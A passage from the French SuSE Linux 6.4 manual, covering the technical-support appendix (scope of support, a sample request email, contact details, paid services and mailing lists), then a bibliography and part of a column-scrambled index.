~ la configuration de base d'une carte ISDN normale pour connexion Inter- net (uniquement du côté du client) ~ la configuration du service d'impression local pour un ordinateur mono- poste ~ la configuration de base d'une carte son supportée. Les sujets qui ne sont pas mentionnés ici ne sont pas traités par l'Assis- tance Technique à l'Installation et il ne sera pas répondu aux requêtes les concernant. Notre Assistance Technique a été conçue pour vous venir en aide lors de l'ins- tallation de base de votre système et ne doit pas être considérée comme une formation ou une introduction à Linux. Elle ne peut donc prendre en compte que les problèmes de configuration et ne peut pas résoudre les problèmes liés à des difficultés de compréhension. Il peut malgré tout arriver qu'une certaine configuration matérielle impose des restrictions au fonctionnement de SuSE Linux ou ne permette pas du tout de le faire démarrer. Nous vous demandons donc de comprendre qu'il ne nous est pas possible de vous garantir à cent pour cent que les efforts de notre service d'Assistance Technique à l'Installation seront couronnés de succès. Outre le système Linux de base, notre distribution SuSE Linux contient plus de mille paquetages logiciels (actuellement un ensemble d'environ 1300 paquetages). Nous nous efforçons de les maintenir à jour pour vous en offrir la version la plus récente mais il ne nous est pas toujours possible de connaître en détail la configuration de chacun de ces paquetages ni de programmer des extensions. Vous comprendrez certainement que nous soyons parfois obligés, pour la configuration de certains programmes, de vous demander de consulter la documentation qui s'y rapporte (pages de man, fichiers README, aide en ligne). 558 __________________________________________________________H.2.__Le_chemin_le_plus_court_qui_mène_à_l'aide_!_________________* *______________________ H.2 Le chemin le plus court qui mène à l'aide ! Le texte qui suit constitue un petit guide dont le but est de vous permettre d'obtenir le plus vite possible une réponse de notre équipe d'Assistance Tech- nique. Seul le courrier conforme au standard décrit peut être traité automati- quement et donc très rapidement par notre système de gestion ! Toutes les autres requêtes doivent être triées à la main et transmises aux différents spé- cialistes de notre équipe d'Assistance Technique. ~ Enregistrez votre SuSE Linux en ligne, sur notre page Web sous http: //www.suse.de/en/support/isupport/register/. ~ Envoyez votre courrier, comme dans le fichier H.2.1, directement à l'adresse suse-fr@suse.de. Tenez compte dans vos données des majus- cules et des minuscules. C'est seulement dans ces conditions que votre courrier pourra être traité automatiquement. Si certains champs tels que ENTREPRISE : ne sont pas nécessaires, laissez-les vides. ~ N'ajoutez pas d'annexes inutiles (par exemple cartes de visite au format X-VCARD) et insérez, le cas échéant, les fichiers de configuration au format|ASCII|directement|dans votre requête (voir fichier H.2.2). || _______________________________________________________________________________________________________________________|||| ||||||||PRÉNOM: Zéphirin | ||||||||NOM: Blizzard | |||||||| | ||||||||ENTREPRISE: Fanlabise (Institut météorologique) | ||||||||RUE: 44, rue des Quatre Vents | |||||||| | ||||||||C.P.: 00444 | ||||||||VILLE: COURANDAIRE | |||||||| | ||||||||PAYS: France | ||||||||CODE.REG: XXXXXX | |||||||| | ||||||||EMAIL: blizzard@nowhere.fr | |||||||| | ||||||||Chère équipe d'Assistante SuSE | |||||||| | |||||||| | ||||||||J'ai un petit problème dans mon Institut Météorologique. | |||||||| | |||||||| | ||||||||Après l'installation de SuSE Linux 6.4, je vois | |||||||| | ||||||||apparaître le message d'erreur | |||||||| | |||||||| | |||||||| "Unable to open an initial console" | |||||||| | |||||||| | ||||||||Je possède un Pentium 400 avec 128 Mo de RAM et un disque dur | ||||||||IDE de 8 Go. Qu'est-ce-que j'ai bien pu faire qui ne va pas? | |||||||| | |||||||| | ||||||||Amicales pensées | ||||||||(aussi de la part de mon assistant Roger Galerne) | |||||||| | |||||||| | ||||||||Zéphirin Blizzard | |||||||| | ||||||||__________________________________________________________________________________________ | fichier H.2.1: Exemple pour une requête par courrier électronique * * 559 H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| |... j'ai un problème avec Lilo. Voici la partie la plus * * | ||importante de mon fichier /etc/lilo.conf * * || | * * | |---clic--- * * | | * * | |# Linux bootable partition config begins * * | |image = /boot/vmlinuz * * | |root = /dev/sda2 * * | | * * | |label = linux-2.0.36 * * | |# Linux bootable partition config ends * * | | * * | |---clac---_____________________________________________________________________________________________* *________ | fichier H.2.2: Élément d'une requête par courrier électronique avec fichier de configuration Période de validité de l'Assistance Technique à l'Installation L'Assistance Technique à l'Installation pour un CD SuSE Linux couvre une période de 60 jours à compter de la date de votre enregistrement mais s'étend au maximum à 60 jours après la date de parution du CD suivant. H.2.1 Comment contacter l'équipe d'Assistance Technique SuSE ? Vous pouvez contacter notre équipe d'Assistance Technique par E-mail, fax, courrier postal et par téléphone. Lorsque vous nous adressez une requête d'Assistance Technique, assurez- vous que le moyen de communication que vous avez choisi fonctionne effec- tivement. Il nous arrive très souvent de devoir répondre à des requêtes dans des conditions difficiles, lorsque par exemple le télécopieur de notre client n'est pas continuellement en marche (fax sur ordinateur) ou lorsque l'adresse E-mail n'est pas valide ou n'est pas accessible. ________________________________________________________________________________________________________* *________||| | Lorsque vous envoyez du courrier électronique, vous devez veiller à ne * * |||| | * * ||| | pas envoyer d'annexes (angl. attachments). Si vous voulez transmettre par * * ||| | exemple des fichiers log, intégrez-les directement dans le texte. Vous de- * * ||| | * * ||| | vriez tout particulièrement éviter de joindre à vos mails des fichiers en * * ||| | formats propriétaires ~ en règle générale, nous ne disposons pas des logi- * * ||| | * * ||| | ciels nécessaires pour le décodage de tels messages. En outre, il n'est pas * * ||| | indispensable de nous faire parvenir des textes HTLM. Cette fonction peut * * ||| | * * ||| | être désactivée dans votre navigateur : : : * * ||| |_______________________________________________________________________________________________________* *________|||_ Vous pouvez contacter notre équipe d'Assistance Technique de la façon sui- vante aux horaires indiqués : ~ par E-mail Adresse : suse-fr@suse.de Traitement des requêtes : toute la semaine ~ par WWW (E-mail) Adresse : http://www.suse.de/fr/support/ Traitement des requêtes : toute la semaine 560 ________________________________________________________________________________________________H.3.__SuSE______Service_Pro_* *______________________ ~ par téléphone (ligne de dépannage) Numéro de téléphone pour la France : 0825 012 014 (0.99 F/min) hors de France : +33 3 88 220 116 Horaires de la ligne de dépannage : lundi de 14h.00 à 18h.00 et jeudi de 16h.00 à 20h.00 Tenez votre code d'enregistrement à portée de la main et assurez-vous que vous êtes déjà enregistré. Seuls les utilisateurs SuSE Linux enregistrés ont droit à l'Assistance Technique à l'Installation. Nous vous prions de bien vouloir noter qu'une requête téléphonique normale ne devrait pas dépasser 5 minutes. Nous recevons habituellement vers 14h.00 un bien plus grand nombre d'appels qu'à une heure plus avancée. Si vous ne parveniez pas à joindre tout de suite l'un de nos collaborateurs de l'Assistance Technique, essayez tout simplement un peu plus tard. ~ par fax Numéro de télécopieur : pour la France : 03 88 329 329 hors de France : +33 3 88 329 329 Traitement des requêtes toute la semaine ~ par courrier postal Adresse : Arkane Media 7, Rue Graumann F-67000 - Strassbourg Traitement des requêtes : toute la semaine Nous donnons toujours aux termes Assistance Technique à l'Installation un sens très large. Mais vous comprendrez certainement que nous ne pouvons pas, pour le prix d'une distribution SuSE Linux, nous charger de l'adminis- tration du réseau de votre entreprise. C'est pourquoi nous vous proposons : http://www.suse.de/fr/support/ H.3 SuSE Service Pro Même lorsqu'un système d'exploitation possède toutes les aptitudes néces- saires, seule une prise en charge professionnelle et compétente en fera une Services véritable alternative pour le travail quotidien au sein d'une entreprise. SuSE garantit ce service pour Linux. La compétence de notre équipe de développement et de support ne se limite pas aux services inclus dans le prix de la distribution SuSE Linux. C'est surtout lors de la mise en pratique de solutions complexes que l'incomparable savoir-faire de notre équipe d'experts Linux se révèle une aide précieuse. Qu'il s'agisse de cours de formation, d'installation de matériel ou de logiciels, de solutions individuelles de maintenance et de support - comment pouvons- nous vous aider ? * * 561 H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________* *_______________________________________@ Notre équipe est à votre disposition. Services Contact : facturés Vous avez d'autres questions au sujet de nos prestations ? ~ Téléhone Numéro : +49 911 740 53 56 du lundi au vendredi de 09h.00 à 17h.00 ~ E-mail Adresse : bsupport@suse.de ~ Fax Numéro : +49 911 320 67 27 ~ Post Adresse : SuSE GmbH ~ Professional Services ~ Schanzäckerstr. 10 D-90443 Nürnberg ~ WWW URL : http://www.suse.de/en/support/prof/ ________________________________________________________________________________________________________* *________|| | Nous attirons votre attention sur le fait que notre Service Pro n'est proposé * * |||| | * * ||| | pour le moment qu'en anglais et en allemand. Nous travaillons actuelle- * * ||| | ment à la mise sur pied d'un service en langue française mais celui-ci n'est * * ||| | * * ||| | pas encore disponible au moment de la mise sous presse du présent manuel. * * ||| |_______________________________________________________________________________________________________* *________|||_ H.3.1 Projets individuels et consultation Vous souhaitez mettre en oeuvre SuSE Linux dans votre entreprise. Nous pouvons vous conseiller avec compétence et vous proposer des solutions qui vous permettront d'utiliser Linux avec le maximum de profit. En tant que distributeurs Linux de la première heure, nous possédons, dans le domaine de la mise en fonction de serveurs Linux, une grande expérience à la- quelle vient s'ajouter l'expérience de nos consultants. Tirez parti des connais- sances de nos experts afin de réaliser vos projets avec succès. C'est notre po- lyvalence qui fait notre force. Qu'il s'agisse de bases de données, de concepts de sécurité, de connexions à Internet ou de la mise en réseau d'une entreprise : Linux constitue avec les logiciels appropriés une puissante plate-forme pour vos applications. Nos offres de services s'étendent de la conception, implémentation et confi- guration de systèmes de serveurs jusqu'à l'assistance à la mise en place d'une infrastructure complète. Vous souhaitez par exemple établir votre présence sur Internet en prenant comme base SuSE Linux et il vous faut une solution adéquate pour le serveur Web, le courrier électronique et une connexion Internet fiable et sécurisée ? Nos consultants système collaboreront avec vous pour concevoir et implé- menter la solution qui convient. 562 ___________________________________________________________________________________________________________H.4.__Formation__* *______________________ Vous êtes responsable d'un réseau hétérogène complexe et vous souhaitez in- tégrer Linux ? Nous vous conseillerons et vous assisterons lors de la concep- tion et de la mise en pratique de solutions de serveurs complexes. Vous avez des exigences particulières qui ne peuvent pas être couvertes par les logiciels standards ? Nous pouvons vous apporter une aide avec des déve- loppements sur mesure. Nous avons, outre notre centre de support et de développement à Nuremberg, des centres de services à Hambourg, Bonn, Stuttgart, Francfort et Munich. ~ Services pour l'implémentation et la mise en oeuvre ~ Assistance à la mise en place d'infrastructures ~ Solutions de serveurs Intranet ~ Solutions de serveurs Internet ~ Développement d'adaptations spécifiques au client ~ Solutions complètes ~ E-Commerce H.4 Formation Nos spécialistes forment des administrateurs système et des programmeurs Formation de telle manière que ceux-ci sont capables, en très peu de temps, de tirer parti des vastes ressources de Linux ~ et de réaliser ainsi un travail productif. Informez-vous sur nos offres de formations : http://www.suse.de/de/ support/training/. H.5 Vos réactions Nous sommes toujours heureux de recevoir des commentaires et des des- criptions de problèmes. Nous vous aidons volontiers lorsque le problème est d'ordre fondamental ou lorsque nous avons déjà une solution à vous proposer. Vos réactions nous permettent en tout cas de remédier à ce problème dans les versions ultérieures ou de mettre l'information que vous nous avez fournie à la disposition d'autres utilisateurs SuSE Linux, par exemple via WWW. D'autre part, nous nous efforçons de construire un système SuSE Linux qui réponde le plus possible à l'attente de notre clientèle. C'est pourquoi nous sommes toujours à l'écoute des critiques qui pourraient nous parvenir au sujet du CD ou du manuel et nous acceptons volontiers les suggestions concernant de futurs projets. Nous pensons que c'est le meilleur moyen de prévenir à temps des erreurs dans le développement et de conserver ainsi à Linux son haut niveau de qualité. Vous pouvez nous faire connaître à tout moment vos réactions par E-mail à feedback@suse.de. H.6 Autres services Nous souhaitons, par ailleurs, attirer votre attention sur les services gratuits qui sont à votre disposition 24 heures sur 24 : * * 563 H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________* *_______________________________________@ ~ SuSE WWW-Server http://www.suse.de/fr/ Informations actuelles, catalogue, service de commande, formulaire de demande d'Assistance Technique, base de données support (SDB) ~ Listes de diffusion SuSE (Groupes d'information et de discussion via E-mail) : ~ suse-announce@suse.com ~ Annonces et infos de SuSE GmbH (alle- mand) ~ suse-announce-e@suse.com ~ Annonces et infos de SuSE GmbH (an- glais) ~ suse-linux@suse.com ~ Discussions autour de la distribution SuSE Linux (allemand) ~ suse-axp@suse.com ~ SuSE Linux sur processeurs Alpha (en anglais) ~ suse-linux-e@suse.com ~ Discussions autour de la distribution SuSE Linux (anglais) ~ suse-isdn@suse.com ~ ISDN avec SuSE Linux ~ suse-adabas@suse.com ~ Infos et discussions au sujet de Adabas-D sous SuSE Linux ~ suse-applix@suse.com ~ Échange d'informations sur le paquetage Ap- plixware de SuSE GmbH ~ suse-informix@suse.com ~ Infos et discussions sur Informix sous SuSE Linux ~ suse-oracle@suse.com ~ Infos et discussions su sujet d'Oracle sous SuSE Linux (en anglais) Pour recevoir régulièrement les annonces, envoyez nous simplement un message par E-mail à majordomo@suse.com avec la commande subscribe dans le corps du message : subscribe , le sujet n'a qu'une importance secondaire. Exemple : subscribe suse-announce Il est tout aussi simple de résilier votre abonnement à la liste si vous ne souhaitez plus la recevoir. Envoyez de nouveau un message par E-mail à majordomo@suse.com : unsubscribe suse-announce Veillez à ce que la commande unsubscribe soit exécutée avec votre adresse E-mail correcte. ~ SuSE ftp-Server ftp://ftp.suse.com Informations actuelles, mises à jours et corrections d'erreurs (bugfixes). Connectez-vous sur le système en tant qu'utilisateur `ftp'. 564 Bibliographie [Alm96] Almesberger, Werner : LILO User's guide, 1996. ~ (voir fichier /usr/doc/ lilo/user.dvi) [Bai97] Bailey, Edward C. : Maximum RPM. Red Hat, 1997. ~ (ISBN 1-888172-78-9) [BBD+ 97] Beck, Michael ; Böhme, Harald ; Dziadzka, Mirko ; Kunitz, Ulrich ; Magnus, Robert ; Verworner, Dirk : Linux-Kernel-Programmierung. 4. Addison Wesley GmbH, 1997. ~ (ISBN 3-8273-1144-6) [BD98] Borkner-Delcarlo, Olaf : Linux im kommerziellen Einsatz. Carl Hanser Verlag, 1998. ~ (ISBN 3-446-19465-7) [BD99] Borkner-Delcarlo, Olaf : Das Samba-Buch. SuSE Press, 1999. ~ (ISBN 3-930419-93-9) [CAR93] Costales, Bryan ; Allman, Eric ; Rickert, Neil : sendmail. O'Reilly & Asso- ciates, Inc., 1993. ~ (ISBN 1-56592-056-2) [CB96] Cheswick, William R. ; Bellovin, Steven M. : Firewalls und Sicherheit im In- ternet. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-875-x) [CR91] Cameron, Debra ; Rosenblatt, Bill : Learning GNU Emacs. O'Reilly & Asso- ciates, Inc., 1991. ~ (ISBN 0 937175-84-6) [CZ96] Chapman ; Zwicky : Einrichten von Internet Firewalls. Sicherheit im Internet gewährleisten.. O'Reilly & Associates, Inc., 1996. ~ (ISBN 3-930673312) [DR98] Dawson, Terry ; Rubini, Alessandro : NET-3 HOWTO, v1.4, 1998. ~ ((voir fichier /usr/doc/howto/en/NET-3-HOWTO.gz) [DR99] Dawson, Terry ; Rubini, Alessandro : NET3-4 HOWTO, v1.5, 1999. ~ (voir fichier /usr/doc/howto/en/NET3-4-HOWTO.gz) [EH98] Eckel, George ; Hare, Chris : Linux ~ Internet Server. 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121 ISDN . . . . . . . . . . . . . . 195 Difficultés . . . . . . . . .* * . . . 161 Qu'est-ce que c'est . . . . 120 Adaptec Alias . . . . . . . . . . . . . * *. . . . . . 511 LILO . . . . . . . . . . . . . . . . . . 137 AHA-152x/151x/1505 372, alien . . . . . . . . . . . * *. . . . . . . 421 /etc/host.conf . . . . . . . 454 384 Alien . . . . . . . . . . . . .* * . . . . . 421 /etc/hosts . . . . . . . . . . . . 454 AHA-154x . . . . . . . . . . . 372 allowed . . . . . . . . . . . .* * . . . 346 * * 569 Index _________________________________________________________________________________________________________________* *_______________________________________@ AM53/79C974 . . . . . . . . . . 373 Commerciale . . . . . . . . . 561 boot.sys . . . . . . . . . . . .* * . . . . 120 AMD 53/79C974 . . . . . . . . 373 E-Mail . . . . . . . . . . . . . . . 559 Boutons de la souris . . . . . 2* *52 AMD Athlon / Intel Pentium Horaires . . . . . . . . . . . . . . 560 Bowman . . . . . . 267, 282, 283 III . . . . . . . . . . . . . . . . . 364 Installation . . . . . . . . . . . 557 BSD . . . . . . . . . . . . . . * *. . . . . 500 AmigaOS . . . . . . . . . . . . . . 526 Le chemin le plus court qui bttv . . . . . . . . . . . . . .* * . . . . . 315 Amorçage . . . . . . . . . . 483, 511 mène à l'aide . . . . . . . 559 Buffer . . . . . . . . . . . . .* * . . . . . 512 Concepts . . . . . . . . . . . . . 119 Ligne de dépannage . . . 560 Bureau Disque virtuel initial . . . 424 Numéros de téléphone 560, Arrière-plan . . . . . . . .* * . . 278 Linux initial . . . . . . . . . . . 51 563 Caractères . . . . . . . . . * *. . . 279 Procédure . . . . . . . . . . . . 117 Service Pro . . . . . . . . . . . 561 Configuration . . . . . . . .* * . 286 Amorcer . . . . . . . . . . . . . . . 537 Services . . . . . . . . . 561, 563 Couleurs . . . . . . . . . .* * . . . 279 à partir du CD2 . . . . . . . . 56 AT1700 . . . . . . . . . . . . . . . . 385 Curseur . . . . . . . . . . * *. . . . 281 Mécanisme d'amorçage avec ATAPI . . . . . . . . . . . . . . . . . 511 Icônes . . . . . . . . . . . * *. . . . . 280 loadlin . . . . . . . . . . . . . 143 atd . . . . . . . . . . . . . . . . . . . . . 458 Polices . . . . . . . . . . .* * . . . . 279 Méthodes . . . . . . . . . . . . . . 44 attaque par déni de service 471__ Bus local Vesa . . . . . . . . * *. . . 64 Andrew Tridgell . . . . . . . . 229 attaques de lhomme au milieu BusLogic . . . . . . . . . . . .* * . . . 374 Annuaire 470__ SuSEFax . . . . . . . . . . . . . 218 Authentification . . . . . . . . . 411 C apache . . . . . . . . . . . . . . . . . 436 autoexec.bat . . . . . . . . . . . . 143 C . . . . . . . . . . . . . . . * *. . . . . . . 359 apache . . . . . . . 415, 435, 470 autoexec.bat . . . . . . . . . 449 C News . . . . . . . . . . . . * *. . . . 410 Apache . . . . . . . . . . . . . . . . . 423 autofs . . . . . . . . . . . . . . . . . . 457 Cabletron E21xx . . . . . . . . * *385 APM . . voir PCMCIA, APM, autofs . . . . . . . . . . . . . . . . 457 Cabletron E21XX . . . . . . . 379 327 AVM Fritz Caractères . . . . . . . . . . .* * . . . 279 Sélection du noyau . 38, 104 XPCDr. . . . . . . . . . . . . . . 196 Caractères jokers . . . 488, 512 apmd . . . . . . . . . . . . . . 323, 328 AVM-B1 . . . . . . . . . . . . . . . 176 CardBus . . . . . . . voir Matér* *iel, apmd . . . . . . . . . . . . . . 328, 329 awk . . . . . . . . . . . . . . . . . . . . . . 4 CardBus app-defaults . . . . . . . . . . . . 286 Aztech, CD-ROM . . . . . . . 390 cardctl . . . . . . . . . . . .* * . . . . . 326 Appel . . . . . . . . . . . . . . . . . . 483 cardmgr . . . . . . . . . . . . * *. . . . 318 Apple . . . . . . . . . . . . . . . . . . 522 B cardmgr . . . . . . 318, 31* *9, 325 Apple MacIntosh . . . . . . . . 518 Backup . . . . . . . . . . . . 492, 512 carte graphique Hercules . 103 Application . . . . . . . . 286, voir Bartels AutoEngineer (BAE) . Carte réseau Programme 69 3COM 3c501 . . . . . . . . . * *385 Applications Base de données 3COM 3c503 . . . . . . . . . * *385 Fichiers de configuration . . . PostgreSQL . . . . . . . . . . 409 3COM 3c505 . . . . . . . . . * *385 286 Base de données support . . . 7 3COM 3c507 . . . . . . . . . * *385 Applix . . . . . . . . . . . . . . . . . . . 3 bash . 168, 488, 518, 534, 535, 3COM 3c509 . . . . . . . . . * *385 aps . . . . . . 334, 340, 342, 354 568 3COM 3c515 . . . . . . . . . * *385 apsfilter . . viii, 101, 102, 334, Bash . . . . . . . . . . . . . . . . . . . 407 3COM 3c579 . . . . . . . . . * *385 339~346, 348, 353, 354 bin/faxrcvd . . . . . . . . . . . . . 228 3COM 3c590 . . . . . . . . . * *385 Configuration . . . . 341, 345 bind . . . . . . . . . . . . . . . . . . . 159 3COM 3c900 . . . . . . . . . * *385 Files d'impression . . . . . 341 bind . . . . . . . . . . . . . . 205, 480 AM7990 chipset . . . . . . 3* *88 Imprimantes réseau . . . . 346 binutils . . . . . . . . . . . . . . 359 AT1700 . . . . . . . . . . .* * . . . 385 Liste de contrôle . . . . . . 354 BIOS . . . . . . . . . . . . . . . . . . 512 Cabletron . . . . . . . . . .* * . . . 385 Apsfilter . . . . . . . . . . . . . . . . 345 bitmap . . . . . . . . . . . . . . . . . 281 Configuration . . . . . . . .* * . 100 apsfilterrc . . . . . . . . . . . . . . 345 Bogue . . . . . . . . . . . . . . . . . . 544 D-Link DE620 . . . . . . . . * *389 Arborescence des répertoires . books . . . . . . . . . . . . . . . . . . . 10 DE10x . . . . . . . . . . . .* * . . . 386 529 Boot . . . . . . . . . . . . . . . 445, 512 DE20 . . . . . . . . . . . .* * . . . . 386 Arcad . . . . . . . . . . . . . . . . . . . 69 gestionnaire d'amorçage . . . DE203 . . . . . . . . . . . .* * . . . 386 arena . . . . . . . . . . . . . . . . 8, 459 119 DE204 . . . . . . . . . . . .* * . . . 386 Argus . . . . . . . . . . . . . 460, 461 LILO . . . . . . . . . . . . . . . . 117 DE205 . . . . . . . . . . . .* * . . . 386 Arkane Media . . . . . . . . . . 561 Paramètres . . . . . . . . . . . 367 DE42 . . . . . . . . . . . .* * . . . . 386 Arkeia . . . . . . . . . . . . . . . . . 460 Partition racine . . . . . . . . 371 DE425 . . . . . . . . . . . .* * . . . 386 Assistance Technique boot.local . . . . . . . . . . . . . . 449 DE434 . . . . . . . . . . . .* * . . . 386 570 ___________________________________________________________________________________________________________________________I* *ndex__________________ DE435 . . . . . . . . . . . . . . . 386 Mozart . . . . . . . . . . 381, 390 fondamentales . . . . . . . * *. 485 DE450 . . . . . . . . . . . . . . . 386 Optics Storage . . . 381, 391 Commandes DOS voir mtools DE500 . . . . . . . . . . . . . . . 386 Panasonic . . . . . . . . 382, 392 Commandes fondamentales . . DEC EtherWORKS . . . 386 Philips CM206 . . . 381, 391 485 Digital . . . . . . . . . . . . . . . 386 Sanyo . . . . . . . . . . . 382, 391 Communicator de Netscape . 8 Digital DEPCA . . . . . . . 386 Sony CDU31A . . . 382, 391 Commutateur . . . . . . . . . . * *. 512 E21xx . . . . . . . . . . . . . . . . 385 Sony CDU33A . . . 382, 391 Compaq . . . . . . . . . . . . .* * . . . . . 3 EtherBlaster . . . . . . . . . . 388 Sony CDU535 . . . . 382, 391 Compiler EtherTeam 16i/32 . . . . . 388 SoundBlaster Pro 16 . . . 392 Noyau . . . . . . . . . . . * *. . . . 542 EtherWORKS 3 . . . . . . . 386 CD-ROM multisession . . . 381 Compte . . . . . . . . . . . . * *. . . . 512 Fujitsu CD-ROM ATAPI se bloque 60 Compte utilisateur . . . . . . .* * . 24 FMV-181/182/183/184 . . cdb . . . . . . . . . . . . . . . . . 59, 244 Comptes d'impression . . . 346 387 CDE . . . . . . . . . . . . . . 267, 270 Concept d'amorçage . . . . . 119 HP 10/100 VG-AnyLAN . . . cdesim . . . . . . . . . . . . . . . . . 267 conf.modules . . . . . . . . . .* * . voir 388 CERT . . . . . . . . . . . . . . . . . . 472 modules.conf HP 27245 . . . . . . . . . . . . 388 Changer le nom . . . . . . . . . 106 conf.modules . . . . . . . . . v* *oir HP 27247B . . . . . . . . . . . 387 changes . . . . . . . . . . . . . . . 415 /etc/modules.conf HP 27252A . . . . . . . . . . . 387 Chargeur . . . . . . . . . . . . . . . 117 config.sys . . . . . . . . . . * *. . . . 143 HP 27xxx . . . . . . . . . . . . 388 Chargeur de modules du noyau Configuration HP PCLAN . . . . . . . . . . . 388 361 Bureau . . . . . . . . . . . * *. . . . 286 HP PCLAN+ . . . . . . . . . 387 chat . . . . . . 172, 197, 198, 200 Charger . . . . . . . . . . * *. . . . . 94 IBM Token Ring . . . . . . 389 chevaux de Troie . . . . . . . . 469__ E-Mail . . . . . . . . . . . * *. . . . 205 ICL EtherTeam . . . . . . . 388 Choisir les logiciels enregistrer . . . . . . . . .* * . . . . 95 Intel EtherExpress 16 . . 386 Installation . . . . . . . . . . . . 21 Gestionnaire de fenêtres 286 Intel EtherExpress Pro . 387 Chris Mason . . . . . . . . . . . . . 90 LILO . . . . . . . . . . . .* * . . . . 123 Intel EtherExpress Pro 100 . Circuit d'horloge . . . . . . . . 254 modifier . . . . . . . . . . * *. . . . 450 387 Clavier Modifier . . . . . . . . . . * *. . . . . 95 Lance . . . . . . . . . . . . . . . . 388 CapsLock . . . . . . . . . . . . 452 Première installation . . . .* * 39 Novell NE1000/2000 . . 388 Délai . . . . . . . . . . . . . . . . . 453 Réseau . . . . . . . . . . . * *. . . . 156 SMC 9194 . . . . . . . . . . . . 389 Disposition . . . . . . . . . . . 452 Temps de réseau . . . . . . * *459 SMC Ultra . . . . . . . . . . . 388 NumLock . . . . . . . . . . . . 452 X11 . . . . . . . . . . . . .* * 240, 251 Token Ring . . . . . . . . . . . 389 Répétition . . . . . . . . . . . . 453 Configuration du système 114, WD80x3 . . . . . . . . . . . . . 389 Client 451 Western Digital . . . . . . . 389 FTP . . . . . . . . . . . . . . . . . . 516 Configurations . . . . . . . . * *. . . 94 Carte son Client NFS . . . . . . . . . . . . . 167 Configurer la sécurité du Pro Audio Spectrum . . . 381 cnews . . . . . . . . . . . . . . . . . . 410 système . . . . . . . . . * *. . . 114 Cartes ISA . . . . . . . . . . . . . 293 Code source . . . . . . . . . 95, 545 Configurer le temps . . . . . 4* *59 Cartes PC voir Matériel, cartes Compiler . . . . . . . . . . . . . 419 Configurer XFree . . . . . . . * *114 PC Coherent . . . . . . . . . . . . . . . 500 Connexion au système . . . 482 Cartes réseau . . . . . . . . . . . 378 colortbl . . . . . . . . . . . . . . 410 Console . . . . . . . . . . . . * *460, 513 cat . . . . . . . . . . . . . . . . . . . . . 489Combinaisons de touches 509 virtuelle . . . . . . . . . .* * . . . . 513 CD . . . . . . . . . . . . . . . . . . . . 544 command not found . . . . . 462 Console texte . . . . . . . . .* * . . 460 CD défectueux . . . . . . . . . . . 60 Commande . . . . . . . . . . . . . 483 Consoles CD-ROM df . . . . . . . . . . . . . . . . . . . 496 virtuelles . . . . . . . . . * *. . . . 485 ATAPI . . . . . . . . . . . . . . . 375 du . . . . . . . . . . . . . . . . . . . 498Consoles virtuelles . . . . . * *. 485 Aztech . . . . . . . . . . 380, 390 free . . . . . . . . . . . . . . . . . 496Contrôleur de disques durs XT EIDE . . . . . . . . . . . . . . . . 375 kill . . . . . . . . . . . . . . . . . 498 380 Goldstar . . . . . . . . . 381, 390 ps . . . . . . . . . . . . . . . . . . . 498Corel . . . . . . . . . . . . .* * . . . . . . . . 3 Mitsumi . . . . . . . . . 381, 390 pstree . . . . . . . . . . . . . . 499 Couleurs . . . . . . . . . . . * *. . . . 279 Mitsumi FX-001(D) . . 381, top . . . . . . . . . . . . . . . . . . 499Courrier . . . . . . . . . voir* * E-Mail 390 ulimit . . . . . . . . . . . . . . 496 Courrier électronique . . . . 513 Mitsumi multisession . . 381 w . . . . . . . . . . . . . . . . . . . . 498cp . . . . . . . . . . . . . .* * . . . . . . . 490 Mitsumi, multisession . 390 Commandes CPU . . . . . . . . . . . . . . * *. . . . . 513 * * 571 Index _________________________________________________________________________________________________________________* *_______________________________________@ Créer Defrag . . . . . . . . . . . . . . . . . . 55 Amorçage . . . . . . . 134, * *137 Répertoire . . . . . . . . . . . . 486 Densité des i-noeuds . . . . . 514 Créer des partitions Linux . . Utilisateur . . . . . . . . . . . . 482 depmod . . . . . . . . . . . . . . . . 360 55, 56 Créer une disquette de secours Description des paquetages 96 Menu de démarrage . . . 143 104 Device . . . . . . . . . . . . . 260, 514 DOS-Disquettes CRC df . . . . . . . . . . . . . . . . . . . . . 496 Accès . . . . . . . . . . . .* * . . . . 501 Erreur . . . . . . . . . . . . . . . . . 64 dhclient . . . . . . . . . . . . . . . . 204 DOS-Setup . . . . . . . . . . .* * . . . 50 cron . . . . . . . . . . 409, 413, 442 dhclient . . . . . . . . . . . . . . 414 Drivespace . . . . . . . . . . .* * . . . . 63 cron . . . . . . . . . . . . . . . . x, 442 DHCP . . . . . . . . . . . . . 188, 458 Droits d'accès . 487, 490, 492 cron.daily . . . . . . . . . . . . . . 461 configurer . . . . . . . . . . . . 106 Samba . . . . . . . . . . . * *. . . . 231 crontab . . . . . . . . . . . . . . . . . 207 dhcpcd . . . . . . . . . . . . . . . . 414 Droits des fichiers . . . . . . * *. 461 Crontab diald . . . . . . . . . . . . . . 204, 457 DSS1 . . . . . . . . . . . . . * *. . . . . 176 journellement . . . . . . . . . 413 Digital . . . . . . . . . . . . . . . . . 386 du . . . . . . . . . . . . . . * *. . . . . . . 498 Ctwm . . . . 267, 270, 282, 283 Digital DEPCA . . . . . . . . . 386 Dummy device . . . . . . . . . .* * 454 curses . . . . . . . . . . . . . . . . . . 442 Digital Equipment Corporation dump . . . . . . . . . . . . . * *. . . . . . 77 curses . . . . . . . . . . . . . . x, 442 239 dumpe2fs . . . . . . . . . . . .* * . . . 441 Curseur . . . . . . . . . . . . 281, 513 Digital Research . . . . . . . . 518 dvips . . . . . . . . . . . . . * *. . . . . . 340 Cut-and-Paste . . . . . . . . . . . 544 DISPLAY . . . . . . . . . . . . . . . 525 Cyberscheduler Software . . 69 Disposition du clavier 83, 443 E Cygnus Source-Navigator . 69 YaST . . . . . . . . . . . . . . . . . . 81 E-Mail . . . . . . . . . . . . .* * . . . . 514 Cyrix . voir Processeur, Cyrix Disque dur Configuration . . . . . . . .* * . 205 686 Paramètres . . . . . . . . . . . 376 e2fsck . . . . . . . . 438, 440* *, 441 Supplémentaire . . . . . . . 546 Manual-Page . . . . . . . . * *. 537 D Disque virtuel 2fsck . . . . . . . . . . . .* * . . . . . . 537 D-Link DE620 . . . . . . . . . . 389 Disque virtuel initial . . . 453 Eagle . . . . . . . . . . . . .* * . . . . . . 69 Débuts . . . . . . . . . . . . . . . . . 481 Disquette Eberhard Mönkeberg . . . . . 10 défragmenter . . . . . . . . . . . 545 démarrer à partir de . . . 119 Editoren Démarrage disquette d'amorçage . . . . 119 vi . . . . 